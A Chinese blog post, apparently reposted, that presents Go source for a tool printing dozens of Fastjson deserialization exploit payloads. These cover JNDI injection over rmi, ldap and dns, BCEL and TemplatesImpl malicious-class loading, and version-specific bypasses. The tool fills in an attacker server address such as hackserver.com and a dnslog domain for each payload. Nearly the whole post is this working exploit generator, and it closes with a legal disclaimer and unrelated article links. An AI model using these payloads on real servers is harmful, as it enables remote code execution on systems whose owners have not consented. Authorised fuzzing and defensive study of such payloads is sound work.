Fastjson的payload收集

news/2024/11/15 22:21:11/文章来源:https://www.cnblogs.com/Aixve/p/18306568

What

无第三方依赖
收集了网络上的多种payload，方便进行fuzz测试
提供了自动替换payload的功能，一次性为所有payload插入rmi地址/dnslog

Help

--list：以清单的形式打印，方便作为字典进行fuzz

--address：服务器地址（无需rmi://前缀），如11.22.33.44/exp、eval.com/rce

--dns：dnslog的地址，不同payload会添加不同的子域名，方便查看是哪一条payload

--code：加载恶意类的code，需要自行添加$$BCEL$$的开头

Example

FjsonShowPload.exe --list --address hackserver.com --dns dnslog.com
image

FjsonShowPload.exe --address hackserver.com --dns dnslog.com
image

注意：重定向到文件后，需要去掉banner和结尾的确认信息，或者直接在代码中去除

How

将代码保存为 FjsonSoPload.go

进入命令行窗口：go build ./

即可得到一个 FjsonSoPload.exe

Code

package mainimport ("flag""fmt"
)var id = 1
var dt = false
var cl = true
var code string
var Address string
var dnslog string
var Pal, Hep, Vson stringfunc main() {fmt.Println(" ████████  ██                            ████████ ██                          ███████   ██                         ██\n░██░░░░░  ░░                            ██░░░░░░ ░██                         ░██░░░░██ ░██                        ░██\n░██        ██  ██████  ██████  ███████ ░██       ░██       ██████  ███     ██░██   ░██ ░██  ██████   ██████       ░██\n░███████  ░██ ██░░░░  ██░░░░██░░██░░░██░█████████░██████  ██░░░░██░░██  █ ░██░███████  ░██ ██░░░░██ ░░░░░░██   ██████\n░██░░░░   ░██░░█████ ░██   ░██ ░██  ░██░░░░░░░░██░██░░░██░██   ░██ ░██ ███░██░██░░░░   ░██░██   ░██  ███████  ██░░░██\n░██     ██░██ ░░░░░██░██   ░██ ░██  ░██       ░██░██  ░██░██   ░██ ░████░████░██       ░██░██   ░██ ██░░░░██ ░██  ░██\n░██    ░░███  ██████ ░░██████  ███  ░██ ████████ ░██  ░██░░██████  ███░ ░░░██░██       ███░░██████ ░░████████░░██████\n░░      ░░░  ░░░░░░   ░░░░░░  ░░░   ░░ ░░░░░░░░  ░░   ░░  ░░░░░░  ░░░    ░░░ ░░       ░░░  ░░░░░░   ░░░░░░░░  ░░░░░░ \n")detail := flag.Bool("list", false, "不展示payload细节与利用方式（默认展示）")code2 := flag.String("code", "恶意code", "恶意code,自行添加$$BCEL$$开头")dnslog2 := flag.String("dns", "default.com", "dnslog")Address2 := flag.String("address", "127.0.0.1/exp", "rmi/ldap地址（无需带协议名）")flag.Parse()dt = !(*detail)dnslog = *dnslog2code = *code2Address = *Address2defer fmt.Println("\nYour input :", dnslog, " | ", Address)//两个版本tomcat的BasicDataSource__bcelShow_org_apache_tomcat_dbcp_dbcp_BasicDataSource()//JdbcRowSetImpl__jndiShow_com_sun_rowset_JdbcRowSetImpl()//JdbcRowSetImpl__jndi__bypass1.2.25Bypass25_41_com_sun_rowset_JdbcRowSetImpl()//JdbcRowSetImpl__jndi__bypass1.2.41--1.2.42Bypass41_42_com_sun_rowset_JdbcRowSetImpl()//缓存绕过< 1.2.47//{ "a": { "@type": "java.lang.Class",  "val": "com.sun.rowset.JdbcRowSetImpl"},  "b": { "@type": "com.sun.rowset.JdbcRowSetImpl",  "dataSourceName": "rmi://ip:9999/exp",  "autoCommit": true}}//bcel链的绕过Bypass25_41_BasicDataSource()other()//fmt.Println("\nspring\\tomcat Echo")}func Show_org_apache_tomcat_dbcp_dbcp_BasicDataSource() {Pal = `{"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"` + code + `"}`Hep = `BCEL加载恶意字节码的利用链，正连加载恶意字节码，无需出网`Vson = `Fastjson <= 1.2.24、tomcat-dbcp <= 7、JDK < 8u251`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName":"` + code + `"}`Hep = `BCEL加载恶意字节码的利用链，正连加载恶意字节码，无需出网`Vson = `Fastjson <= 1.2.24、tomcat-dbcp > 7、JDK < 8u251`ShowPayload(Pal, Hep, Vson)
}func Show_com_sun_rowset_JdbcRowSetImpl() {//{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}Pal = `{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://` + Address + `","autoCommit":true}`Hep = `JNDI注入-RMI利用链exp，反连`Vson = `Fastjson <= 1.2.24`ShowPayload(Pal, Hep, Vson)//ldapPal = `{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://` + Address + `","autoCommit":true}`Hep = `JNDI注入-ldap利用链exp，反连`Vson = `Fastjson <= 1.2.24`ShowPayload(Pal, Hep, Vson)//dnslogPal = `{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"dns://poc1.` + dnslog + `","autoCommit":true}`Hep = `JNDI注入-DNSlog利用链poc，请求dnslog`Vson = `Fastjson <= 1.2.24`ShowPayload(Pal, Hep, Vson)
}func Bypass25_41_BasicDataSource() {//{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}Pal = `{"@type": "Lorg.apache.tomcat.dbcp.dbcp2.BasicDataSource;","driverClassLoader": {"@type": "Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"},"driverClassName": "` + code + `"}`Hep = `BCEL利用链exp，正连，类名前后加L与;进行绕过`Vson = `Fastjson < 1.2.41`ShowPayload(Pal, Hep, Vson)}func other() {//{"b":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"$type$://$ip$/payload2","autoCommit":true}} #Fastjson <=1.2.24Pal = `{"b":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://` + Address + `","autoCommit":true}}`Hep = `JNDI注入`Vson = `Fastjson <= 1.2.24`ShowPayload(Pal, Hep, Vson)Pal = `{"b":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://` + Address + `","autoCommit":true}}`Hep = `JNDI注入`Vson = `Fastjson <= 1.2.24`ShowPayload(Pal, Hep, Vson)Pal = `{"b":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"dns://ubm.` + dnslog + `","autoCommit":true}}`Hep = `JNDI注入-dnslog`Vson = `Fastjson <= 1.2.24`ShowPayload(Pal, Hep, Vson)//{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"$type$://$ip$/payload3","autoCommit":true} #Fastjson<=1.2.41//{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"$type$://$ip$/payload4","autoCommit":true} #Fastjson<=1.2.42//{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"$type$://$ip$/payload5","autoCommit":true} #Fastjson<=1.2.43Pal = `{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://` + Address + `","autoCommit":true}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.43`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://` + Address + `","autoCommit":true}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.43`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"dns://mik.` + dnslog + `","autoCommit":true}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.43`ShowPayload(Pal, Hep, Vson)//{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"$type$://$ip$/payload6"}} #Fastjson<=1.2.45Pal = `{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://` + Address + `"}}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.45`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://` + Address + `"}}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.45`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"dns://jds.` + dnslog + `"}}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.45`ShowPayload(Pal, Hep, Vson)//{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$type$://$ip$/payload7","autoCommit":true}} #Fastjson<=1.2.47Pal = `{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://` + Address + `","autoCommit":true}}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.47`ShowPayload(Pal, Hep, Vson)Pal = `{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://` + Address + `","autoCommit":true}}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.47`ShowPayload(Pal, Hep, Vson)Pal = `{"a":{"@type": "java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName":"dns://dbjn.` + dnslog + `","autoCommit":true}}`Hep = `dnsliog`Vson = `Fastjson<=1.2.47`ShowPayload(Pal, Hep, Vson)//{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"$type$://$ip$/payload8"} #Fastjson<=1.2.62,CVE-2020-8840Pal = `{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.62`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.62`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"dns://cben.` + dnslog + `"}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.62`ShowPayload(Pal, Hep, Vson)//{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"$type$://$ip$/payload9"} #Fastjson<=1.2.66Pal = `{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"rmi://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.66`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.66`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"dns://igjt.` + dnslog + `"}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.66`ShowPayload(Pal, Hep, Vson)//{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"$type$://$ip$/payload10"} #Fastjson<=1.2.66Pal = `{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"rmi://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.66`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.66`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"dns://atbc.` + dnslog + `"}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.66`ShowPayload(Pal, Hep, Vson)//{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"$type$://$ip$/payload11"}} #Fastjson<=1.2.66Pal = `{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"rmi://` + Address + `"}}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.66`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://` + Address + `"}}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.66`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"dns://eget.` + dnslog + `"}}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.66`ShowPayload(Pal, Hep, Vson)//{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"$type$://$ip$/payload12"} #Fastjson<=1.2.67Pal = `{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"rmi://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"dns://antr.` + dnslog + `"}`Hep = `dnslog`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)//{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["$type$://$ip$/payload13"],"Realms":[""]} #Fastjson<=1.2.67Pal = `{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["rmi://` + Address + `"],"Realms":[""]}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://` + Address + `"],"Realms":[""]}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["dns://siro.` + dnslog + `"],"Realms":[""]}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)//{"@type":"com.caucho.config.types.ResourceRef","lookupName":"$type$://$ip$/payload14"} #Fastjson<=1.2.67Pal = `{"@type":"com.caucho.config.types.ResourceRef","lookupName":"rmi://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"com.caucho.config.types.ResourceRef","lookupName":"ldap://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"com.caucho.config.types.ResourceRef","lookupName":"dns://caco.` + dnslog + `"}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)//{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"@type":"java.util.Properties","UserTransaction":"$type$://$ip$/payload15"}} #Fastjson<=1.2.67Pal = `{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"@type":"java.util.Properties","UserTransaction":"rmi://` + Address + `"}}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"@type":"java.util.Properties","UserTransaction":"ldap://` + Address + `"}}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"@type":"java.util.Properties","UserTransaction":"dns://jti.` + dnslog + `"}}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.67`ShowPayload(Pal, Hep, Vson)//{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"$type$://$ip$/payload16"} #Fastjson<=1.2.68Pal = `{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"dns://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.68`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.68`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"rmi://w9.` + dnslog + `"}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.68`ShowPayload(Pal, Hep, Vson)//{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"$type$://$ip$/payload17"} #Fastjson<=1.2.68Pal = `{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"rmi://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.68`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://` + Address + `"}`Hep = `JNDI注入-exp`Vson = `Fastjson<=1.2.68`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"dns://ppx.` + dnslog + `"}`Hep = `JNDI注入-dnslog`Vson = `Fastjson<=1.2.68`ShowPayload(Pal, Hep, Vson)//{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"$type$://$ip$/payload18"} #未知Pal = `{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://` + Address + `"}`Hep = `jndi`Vson = `未知`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://` + Address + `"}`Hep = `jndi`Vson = `未知`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"dns://cons.` + dnslog + `"}`Hep = `dnslog`Vson = `未知`ShowPayload(Pal, Hep, Vson)//{"@type":"org.apache.openjpa.ee.RegistryManagedRuntime","registryName":"$type$://$ip$/payload19","rollbackOnly":null} #未知Pal = `{"@type":"org.apache.openjpa.ee.RegistryManagedRuntime","registryName":"rmi://` + Address + `","rollbackOnly":null}`Hep = `jndi`Vson = `未知`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.openjpa.ee.RegistryManagedRuntime","registryName":"ldap://` + Address + `","rollbackOnly":null}`Hep = `jndi`Vson = `未知`ShowPayload(Pal, Hep, Vson)Pal = `{"@type":"org.apache.openjpa.ee.RegistryManagedRuntime","registryName":"dns://openjpa.` + dnslog + `","rollbackOnly":null}`Hep = `dnslog`Vson = `未知`ShowPayload(Pal, Hep, Vson)//{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"$type$://$ip$/payload20"} #未知Pal = `{"@type": "Lorg.apache.tomcat.dbcp.dbcp2.BasicDataSource;","driverClassLoader": {"@type": "Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"},"driverClassName": "` + code + `"}`Hep = `bcel`Vson = `未知`ShowPayload(Pal, Hep, Vson)//{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["###EVIL_CODE###"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}Pal = `{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["` + code + `"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}`Hep = `加载恶意类`Vson = `未知`ShowPayload(Pal, Hep, Vson)//TemplatesImpl2.tpl://{"@type":"org.apache.xalan.xsltc.trax.TemplatesImpl","_bytecodes":["###EVIL_CODE###"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}Pal = `{"@type":"org.apache.xalan.xsltc.trax.TemplatesImpl","_bytecodes":["` + code + `"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}`Hep = `加载恶意类`Vson = `未知`ShowPayload(Pal, Hep, Vson)
}func Bypass25_41_com_sun_rowset_JdbcRowSetImpl() {//{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}Pal = `{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://` + Address + `","autoCommit":true}`Hep = `JNDI注入-RMI利用链exp，反连，类名前后加L与;进行绕过`Vson = `Fastjson < 1.2.41`ShowPayload(Pal, Hep, Vson)//ldapPal = `{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://` + Address + `","autoCommit":true}`Hep = `JNDI注入-ldap利用链exp，反连，类名前后加L与;进行绕过`Vson = `Fastjson < 1.2.41`ShowPayload(Pal, Hep, Vson)//dnslogPal = `{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"dns://poc2.` + dnslog + `","autoCommit":true}`Hep = `JNDI注入-DNSlog利用链poc，请求dnslog，类名前后加L与;进行绕过`Vson = `Fastjson < 1.2.41`ShowPayload(Pal, Hep, Vson)
}func Bypass41_42_com_sun_rowset_JdbcRowSetImpl() {//{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"###RMI_LDAP_ADDRESS###","autoCommit":true}Pal = `{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://` + Address + `","autoCommit":true}`Hep = `JNDI注入-RMI利用链exp，反连，类名前后双写L与;进行绕过`Vson = ` 1.2.41 <= Fastjson < 1.2.42`ShowPayload(Pal, Hep, Vson)//ldapPal = `{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://` + Address + `","autoCommit":true}`Hep = `JNDI注入-ldap利用链exp，反连，类名前后双写L与;进行绕过`Vson = `1.2.41 <= Fastjson < 1.2.42`ShowPayload(Pal, Hep, Vson)//dnslogPal = `{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"dns://poc2.` + dnslog + `","autoCommit":true}`Hep = `JNDI注入-DNSlog利用链poc，请求dnslog，类名前后双写L与;进行绕过`Vson = `1.2.41 <= Fastjson < 1.2.42`ShowPayload(Pal, Hep, Vson)
}func ShowPayload(str ...string) {const redColor = "\033[31m"const resetColor = "\033[0m"if dt {fmt.Println("┌─────────PayloadID:", id)id++fmt.Printf("%s%s%s\n", redColor, str[0], resetColor)} else {fmt.Println(str[0])}if dt {fmt.Println("│\n├───[+]payload说明:")fmt.Print("│	")fmt.Println(str[1])defer fmt.Println("└──────────────────────────────────────────────────────────────────────────────┘\n")}if dt {fmt.Println("│\n├───[+]验证过的版本:")fmt.Print("│	")fmt.Println(str[2])fmt.Println("│	注:版本号仅供参考                                        Fastjson SEC──┐") //}
}

相信国家相信党，黑客没有好下场
请遵守相关法律法规，文中技术仅用于有授权的安全测试，禁止用于非法活动！
本文章仅面向拥有合法授权的渗透测试安全人员及进行常规操作的网络运维人员。
在操作的过程中，您应确保自己的所有行为符合当地法律法规，且不得进行违反中国人民共和国相关法律的活动。
作者不承担用户擅自使用相关技术从事任何违法活动所产生的任何责任。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/745066.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

DBeaver安装教程（开发人员和数据库管理员通用数据库管理工具）

DBeaver安装教程（开发人员和数据库管理员通用数据库管理工具）

前言 DBeaver 是一个通用的数据库管理工具和 SQL 客户端，支持 MySQL, PostgreSQL, Oracle, DB2, MSSQL, Sybase, Mimer, HSQLDB, Derby, 以及其他兼容 JDBC 的数据库。DBeaver 提供一个图形界面用来查看数据库结构、执行SQL查询和脚本，浏览和导出数据，处理BLOB/CLOB 数据，修…
阅读更多...
一分钟解决CLIENT_PLUGIN_AUTH is required. IDEA连接数据库时报错

一分钟解决CLIENT_PLUGIN_AUTH is required. IDEA连接数据库时报错

CLIENT_PLUGIN_AUTH is required. IDEA连接数据库时报错 ​ 今天楼主在导入java项目时在连接数据库时IDEA报的错误为CLIENT_PLUGIN_AUTH is required. ​ 报错如下图：经过多方排查，发现是之前下载过其他数据库，导致系统服务里已经启动了一个MySql服务​ 已经安装过小蜜蜂数据…
阅读更多...
如何通过成熟的外发平台，实现文档安全外发管理？

如何通过成熟的外发平台，实现文档安全外发管理？

文档安全外发管理是企业信息安全管理的重要组成部分，它涉及到企业向外发送的文件，需要进行严格的控制和管理，防止敏感或机密信息的泄露。以下是一些关键考虑因素： 文件外发的挑战：企业在文件外发时面临的主要挑战包括非法复制、恶意篡改和误操作，这些都可能导致信息泄露或…
阅读更多...
瓦特对蒸汽机的六次重大改进

瓦特对蒸汽机的六次重大改进

来源|机械传奇 作者|陶嗣巍 千呼万唤始出来，英雄瓦特先生终于粉墨登场！在此之前，他的前辈们已经给他打下了良好的基础，但也留下了诸多棘手的问题。接下来，就看他如何解决这些问题了！ 一、 瓦特先生身世坎坷，他父母共育有8个孩子，但先于瓦特出生的5个孩子全部早夭，而瓦…
阅读更多...
如何落地实际场景，解决跨境传输共性需求？免费白皮书可下载！

如何落地实际场景，解决跨境传输共性需求？免费白皮书可下载！

在全球化的背景下，海外市场对于数据驱动的产品和服务的需求不断增加，各行业数据跨境传输也日趋频繁，在这种前景下，越来越多的企业寻求更深度的跨国业务及合作，因此，企业数据跨境流动也成为了势不可挡的趋势。 企业数据跨境流动可以分为国外数据入境及国内企业数据出海： …
阅读更多...
Python自动化：10行代码免费解锁抖音、快手、小红书平台资源，无水印视频一键下载

Python自动化：10行代码免费解锁抖音、快手、小红书平台资源，无水印视频一键下载

Python自动化：10行代码免费解锁抖音、快手、小红书平台资源，无水印视频一键下载 原创 丹心向阳 数海丹心 2024年06月19日 07:30 山东 摘要： 抖音、快手、小红书作为国内顶尖的短视频和娱乐平台，汇聚了巨大的流量和丰富的创意内容。对于自媒体从业人员而言，这些平台上的灵感…
阅读更多...
线上问题总结-获取不到连接池(logback 配置+代码问题)

线上问题总结-获取不到连接池(logback 配置+代码问题)

原文链接出错问题复盘 1、问题回顾早上 6:00 多开始报警，数据库连接池获取不到连接，日志的报错如下：org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.exceptions.PersistenceException: ### Error querying database. Cause: org.spri…
阅读更多...
linux: 使用 setfacl 命令管理文件访问控制列表

linux: 使用 setfacl 命令管理文件访问控制列表

linux: 使用 setfacl 命令管理文件访问控制列表 原创 王义杰 AI学者王义杰 2024年07月12日 21:25 广东 听全文在Linux系统中，管理文件和目录的权限通常通过传统的chmod命令来设置。然而，随着系统复杂度的增加，有时需要更灵活的权限管理方式。此时，setfacl命令提供了强大的功…
阅读更多...
更改类的属性类型后发现的坑org.apache.ibatis.type.TypeException: Could not set parameters for mapping

更改类的属性类型后发现的坑org.apache.ibatis.type.TypeException: Could not set parameters for mapping

背景 本次将一个类的属性从Integer改成String，上线后发现有这种报错org.apache.ibatis.type.TypeException: Could not set parameters for mappingorg.apache.ibatis.type.TypeException: Could not set parameters for mapping: ParameterMapping{property=brandName, mode=…
阅读更多...
Easyexcel导出时如何隐藏掉某些字段

Easyexcel导出时如何隐藏掉某些字段

方案 //不显示字段注解 @ExcelIgnore 背景只要一个注解 @Id @Column(name = "id") @GeneratedValue(strategy = GenerationType.IDENTITY) //设置主键生成策略 属性是自动生成 @ExcelProperty(value = "序号") //不显示字段注解 @ExcelIgnore private Inte…
阅读更多...
嗅探器（割点）

嗅探器（割点）

